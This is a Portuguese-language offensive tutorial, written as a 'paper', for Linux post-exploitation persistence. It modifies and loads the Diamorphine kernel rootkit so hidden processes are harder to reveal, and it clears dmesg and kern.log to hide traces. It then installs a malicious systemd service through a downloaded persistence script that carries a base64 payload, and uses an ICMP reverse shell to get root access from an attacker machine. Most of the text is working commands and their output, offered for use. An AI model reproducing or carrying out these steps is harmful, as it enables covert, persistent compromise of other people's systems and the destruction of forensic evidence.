Autor: @matheuzsec
[ Combinação de persistência para Linux ] _* Serviço malicioso SystemD + backdoor icmp + rootkit diamorfina com algumas coisas modificadas *_ ,____ |---.\ ___ | ` __.....__ / .-\ ./= .' ':, | |"|_/\/| / __ _ __ \\ ; |-;| /_| | |_)) || |_))|| / \_| |/ \ | | | \\ || | || / \/\( | | || _, | / |` ) | | Sysadmin ||.-(_{} / \ _/ | | DEAD |/ ` /--._/ \ | \\| {}_)-,|| `/|) | / \\;/,,;;;;;;;,\\|//, / | | .;;;;;;;;;;;;;;;;, .' | | \,;;;;;;;;;;;;;;;;,// / \ | \\;;;;;;;;;;;;;;;;,// (_.-.__.__./ / ,\';;;;;;;;;;;;;;;;' ************************ SUMÁRIO ********************************* * 1 - Visão geral * * 2 - Modificando algumas coisas em diarmophine.h * * 3 - Setup SystemD malicioso com icmp backdoor e em execução * .-~-.-~-.-~ Paper de MatheuZ * 4 - Fechamento e agradecimento * * 5 - Hackeie todas as coisas! * ************************************************************************ [$] CAPÍTULO 1 >>------> Visão geral Nesse paper vou mostrar e ensinar um combo bem atrativo, então basicamente vamos usar uma versão modificada do meu script (https://raw.githubusercontent.com/MatheuZSecurity/systemd-backdoor/main/systemd.sh) que fiz para automatize o backdoor do systemd. Usaremos esta versão modificada para carregar um serviço malicioso, ou seja, um systemd persistência com icmp backdoor, em combinação com o rootkit diamorfina com algumas coisas alteradas, você pode usar outro rootkit, mas estou usando diamorfina apenas por exemplo. No rootkit diamorfina, vamos apenas mudar seu sigkill. O sigkill para retornar os processos é 63, e nós pode alterar para 62 por exemplo, dificultando assim para o administrador do sistema, ou qualquer outra pessoa fazer seus processos reaparecer. Além de alterar o sigkill do processo, também podemos alterar o "magic_prefix", o nome do módulo, sigkill para se tornar "invisível", sigkill para se tornar root e sigkill para fazer todos os processos ocultos reaparecerem. E fazendo essas alterações nas configurações do rootkit diamorfina, usando icmp backdoor em uma espécie de systemd malicioso serviço, você obtém uma combinação extremamente boa. NOTA: O serviço malicioso reiniciará a cada 5 segundos, o objetivo disso é demonstrar que o uso do systemd para criar serviços maliciosos e usar rootkits pode ser muito útil quando você vai manter a persistência. [$] CAPÍTULO 2 Primeiro teremos que baixar o rootkit diamorfina que está disponível no github do m0nad (btw obrigado m0nad por criando este incrível rootkit que abriu portas para muitas pessoas estudarem sobre rootkits). root@phantom:~/paper# git clone https://github.com/m0nad/Diamorphine Cloning into 'Diamorphine'... remote: Enumerating objects: 141, done. remote: Counting objects: 100% (65/65), done. remote: Compressing objects: 100% (23/23), done. remote: Total 141 (delta 53), reused 42 (delta 42), pack-reused 76 Receiving objects: 100% (141/141), 32.26 KiB | 5.38 MiB/s, done. Resolving deltas: 100% (77/77), done. root@phantom:~/paper# agora que baixamos a diamorfina, vamos mover os seguintes arquivos: diamorfina.c para rk.c e diamorfina.h para rk.h. root@phantom:~/paper/Diamorphine# mv diamorphine.c rk.c root@phantom:~/paper/Diamorphine# mv diamorphine.h rk.h root@phantom:~/paper/Diamorphine# Bem, agora que renomeamos os arquivos, podemos fazer algumas alterações em rk.h. #define MAGIC_PREFIX "undetect4ble" #define PF_INVISIBLE 0x10000000 #define MODULE_NAME "rk" enum { SIGINVIS = 33, SIGSUPER = 64, SIGMODINVIS = 62, }; resumindo o que mudei, mudei o "MAGIC_PREFIX" para "undetect4ble" ou seja, quando criamos uma pasta chamada "undetect4ble_dir", esta pasta fica invisível e você não pode vê-la usando ls, dir e qualquer programa que retorna todas as entradas de um diretório. Eu também mudei o nome do módulo para rk. e por fim os tão famosos sigkills, na diamorfina existem 3 sigkills que é uma de suas características. 1 - sigkill 31 que serve para você esconder algum processo 2 - sigkill 64 0 que é para você virar root 3 - sigkill 63 0 traz de volta o "módulo" que estava escondido quando carregamos a diamorfina, e com o módulo visível, você pode removê-lo usando rmmod Também precisamos alterar em rk.c o "#include diamorphine.h" para "#include rk.h". E finalmente edite o "Makefile". Troque diamorfina.o por rk.o. obj-m := rk.o CC = gcc -Wall KDIR := /lib/modules/$(shell uname -r)/build PWD := $(shell pwd) all: $(MAKE) -C $(KDIR) M=$(PWD) modules clean: $(MAKE) -C $(KDIR) M=$(PWD) clean Agora é só compilar e carregar o módulo. root@phantom:~/paper/Diamorphine# ls rk* M* Makefile rk.c rk.h root@phantom:~/paper/Diamorphine# make make -C /lib/modules/5.15.0-56-generic/build M=/root/paper/Diamorphine modules make[1]: Entering directory '/usr/src/linux-headers-5.15.0-56-generic' CC [M] /root/paper/Diamorphine/rk.o MODPOST /root/paper/Diamorphine/Module.symvers CC [M] /root/paper/Diamorphine/rk.mod.o LD [M] /root/paper/Diamorphine/rk.ko BTF [M] /root/paper/Diamorphine/rk.ko Skipping BTF generation for /root/paper/Diamorphine/rk.ko due to unavailability of vmlinux make[1]: Leaving directory '/usr/src/linux-headers-5.15.0-56-generic' root@phantom:~/paper/Diamorphine# root@phantom:~/paper/Diamorphine# insmod rk.ko root@phantom:~/paper/Diamorphine# Agora podemos ver que nosso módulo foi carregado com sucesso. root@phantom:~/paper/Diamorphine# dmesg [ 1822.281956] rk: module is already loaded root@phantom:~/paper/Diamorphine# root@phantom:~/paper/Diamorphine# cat /var/log/kern.log | grep "rk: module" Dec 26 14:04:18 phantom kernel: [ 1822.281956] rk: module is already loaded root@phantom:~/paper/Diamorphine# É sempre importante que você limpe os logs kern.log e dmesg. root@phantom:~/paper/Diamorphine# dmesg --clear root@phantom:~/paper/Diamorphine# cat /dev/null > /var/log/kern.log O rootkit já está preparado e carregado para uso. [$] CAPÍTULO 3 Agora que carregamos o rootkit, precisamos configurar o systemd malicioso que irá carregar o "cliente "que vamos usar para conectar a máquina através do "servidor". Para isso, usaremos uma versão alternativa do meu script de @ferreiraklet >>------> https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh -> código OBS: como modificamos algumas coisas no rootkit, precisaremos alterar o sigkill 31 que está no roteiro para 33. root@phantom:~# wget https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh && chmod +x persistence.sh --2023-01-05 16:52:51-- https://raw.githubusercontent.com/ferreiraklet/persistence/main/persistence.sh Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.110.133, 185.199.111.133, 185.199.108.133, ... Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.110.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 29926 (29K) [text/plain] Saving to: ‘persistence.sh’ persistence.sh 100%[================================================================>] 29,22K --.-KB/s in 0,003s 2023-01-05 16:52:51 (10,2 MB/s) - ‘persistence.sh’ saved [29926/29926] root@phantom:~# sed -i 's/kill -31 {}/kill -33 {}/g' persistence.sh root@phantom:~# Agora que alteramos o sigkill de 31 para 33, podemos executar o script. root@phantom:~# systemctl status persistence ● persistence.service - Systemd Persistence Loaded: loaded (/etc/systemd/system/persistence.service; enabled; preset: enabled) Active: active (running) since Thu 2023-01-05 21:24:22 UTC; 1s ago Main PID: 2458 (bash) Tasks: 5 (limit: 4547) Memory: 1.1M CPU: 24ms CGroup: /system.slice/persistence.service ├─2458 /bin/bash -c "echo f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAABIAAAAAAABAAAAAAAAAALhBAAAAAAAAAAAAAEAAOAALAEAAHgAAA> ├─2462 ./client ├─2463 sleep 3 └─2464 /bin/sh root@phantom:~# Observe que nosso serviço malicioso já está rodando, agora é só conectar usando "server" e gg, systemd persistence com icmp backdoor e um rootkit com algumas coisas alteradas funcionando perfeitamente. Agora na máquina do atacante. root@mtzbox:~# git clone https://github.com/ferreiraklet/icmp_reverse_shell Cloning into 'icmp_reverse_shell'... remote: Enumerating objects: 66, done. remote: Counting objects: 100% (66/66), done. remote: Compressing objects: 100% (58/58), done. remote: Total 66 (delta 31), reused 13 (delta 6), pack-reused 0 Receiving objects: 100% (66/66), 21.76 KiB | 1.81 MiB/s, done. Resolving deltas: 100% (31/31), done. root@phantom:~# cd icmp_reverse_shell/ root@phantom:~/icmp_reverse_shell# make cc client.c -o client -pthread cc server.c -o server -pthread root@phantom:~/icmp_reverse_shell# ls buffer.h client client.c icmp_shell.h LICENSE Makefile README.md server server.c root@mtzbox:~/icmp_reverse_shell# root@mtzbox:~/icmp_reverse_shell# ./server $IP (Here you will put the ip of the target machine to be able to connect) cmd # id uid=0(root) gid=0(root) groups=0(root) pwd /root echo "gg" gg ^C root@mtzbox:~/icmp_reverse_shell# [$] CAPÍTULO 4 >>-;;;------;;--> Obrigado por ler o jornal, espero que gostem, se alguém tiver alguma dúvida pode me contatar no discord: MatheuZ#8923. [$] CAPÍTULO 5 - End ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣀⣀⣀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⠀⠀⠀⢠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⡿⠿⢿⣿⣷⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡆⣷⣠⣴⣶⣶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⡄⠀⠀⠹⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⣿⣿⣟⠉⢹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠛⠿⠿⠿⠋⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⡿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠉⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⢀⣀⣀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠁⠘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠈⢿⣿⣷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣴⣾⣿⣿⣿⣿⣶⡀⢀⣾⣿⣿⠋⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠹⣿⣿⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⢸⣿⡁⠀⠀⢀⣿⣿⢇⣾⣿⣿⠃⠀⠀⠀⠀⠀⠀⣿⡈⠙⢿⣿⣿⣿⠿⠋⢩⡇⠀⠀⠀⠀⠀⠀⠙⣿⣿⣇⠀⠀⠀⠀⠀⠀⠀⠀ ⠈⠛⠛⣠⣴⣿⡿⠋⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⣿⣿⣶⣾⣿⣿⣿⣷⣶⣿⡇⠀⠀⠀⠀⠀⠀⠀⣻⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⣠⣾⣿⡿⠋⠀⠀⢻⣿⣿⣷⡀⠀⠀⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠀⢠⣿⣿⣏⣠⣤⣶⣤⠀⠀⠀⠀- Hackeie todas as coisas ⢰⣿⣿⣟⠀⠀⠀⠀⠘⢿⣿⣿⣿⣷⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣤⣴⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀ ⢸⣿⣿⣿⣦⣄⣀⠀⠀⠀⠉⠙⠛⠛⢿⣿⣿⣿⣿⣿⣿ MATHEUZ ⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠉⢻⣿⣄⠀⠀⠀⠀⠀⠀⠀ ⠀⠙⠿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⡀⠀⠀⠀⠈⢿⣿⣶⣄⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠈⠉⠉⠙⠛⠛⠛⠛⠛⣿⣿⣿⣿⠟⢋⣿⣿⣿⡿⠋⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠙⢿⣿⣧⡀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠟⠁⠀⣿⣿⣿⠟⠀⠀⢀⣿⣿⣿⡿⢿⣿⣿⣿⣿⣿⣿⣆⠀⠀⠀⠀⠈⢿⣿⣷⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠏⠀⠀⢸⣿⣿⣿⠀⠀⠀⢸⣿⣿⣿⠀⠈⢻⣿⣿⣿⢿⣿⣿⣦⡀⠀⠀⠀⣸⣿⣿⠀⣀⡄ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⡟⠀⠀⠀⠸⣿⣿⣿⠀⠀⠀⢻⣿⣿⣿⠀⠀⠀⢻⣿⣿⡆⠹⢿⣿⣿⣶⣶⣾⣿⣿⣿⣿⠋⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠀⠀⠀⢿⣿⣿⡆⠀⠀⠸⣿⣿⣿⡄⠀⠀⠀⢿⣿⣿⠀⠀⠙⠛⠿⠿⠿⠛⠋⢸⣿⠀⠀ ⠀⠀⠀⠀⠀⠀⣠⣴⣿⣿⡿⠛⠁⠀⠀⠀⠀⠀⠘⣿⣿⣿⠀⠀⠀⣿⣿⣿⡇⠀⠀⠀⢸⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀ ⠀⠀⠀⢠⣶⣿⣿⠿⠋⠁⠒⠛⢻⣷⠀⠀⠀⠀⠀⢹⣿⣿⡇⠀⣠⣿⣿⣿⢃⣴⣿⠟⠛⢿⣿⣿⡄⠀⠀⠀⠀⠀⠀⢠⣿⣿⠀⠀ ⠀⠀⢰⣿⣿⠟⠁⠀⠀⠀⠀⢀⣾⡟⠀⠀⠀⠀⠀⠘⣿⣿⣧⣾⣿⣿⠟⠁⣾⣿⡇⠀⠀⠘⢿⣿⣿⣦⡀⠀⠀⣀⣴⣿⣿⠃⠀⠀ ⠀⠀⣿⣿⡇⠀⠀⢀⡄⠀⢠⣿⣿⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⠟⠁⠀⠀⢿⣿⣇⠀⠀⠀⠈⠻⣿⣿⣿⣿⣿⣿⡿⠟⠁⠀⠀⠀ ⠀⠀⠹⣿⣷⣄⣀⣼⡇⠀⢸⣿⣿⡀⠀⠀⠀⠀⣠⣿⣿⣿⡿⠋⠀⠀⠀⠀⢸⣿⣿⡀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠁⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠈⠛⠛⠛⠋⠀⠀⠀⢻⣿⣿⣶⣶⣶⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠛⠛⠛⠛⠛⠉⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣷⣄⣀⠀⢀⣀⣴⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢿⣿⣿⣿⣿⣿⣿⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀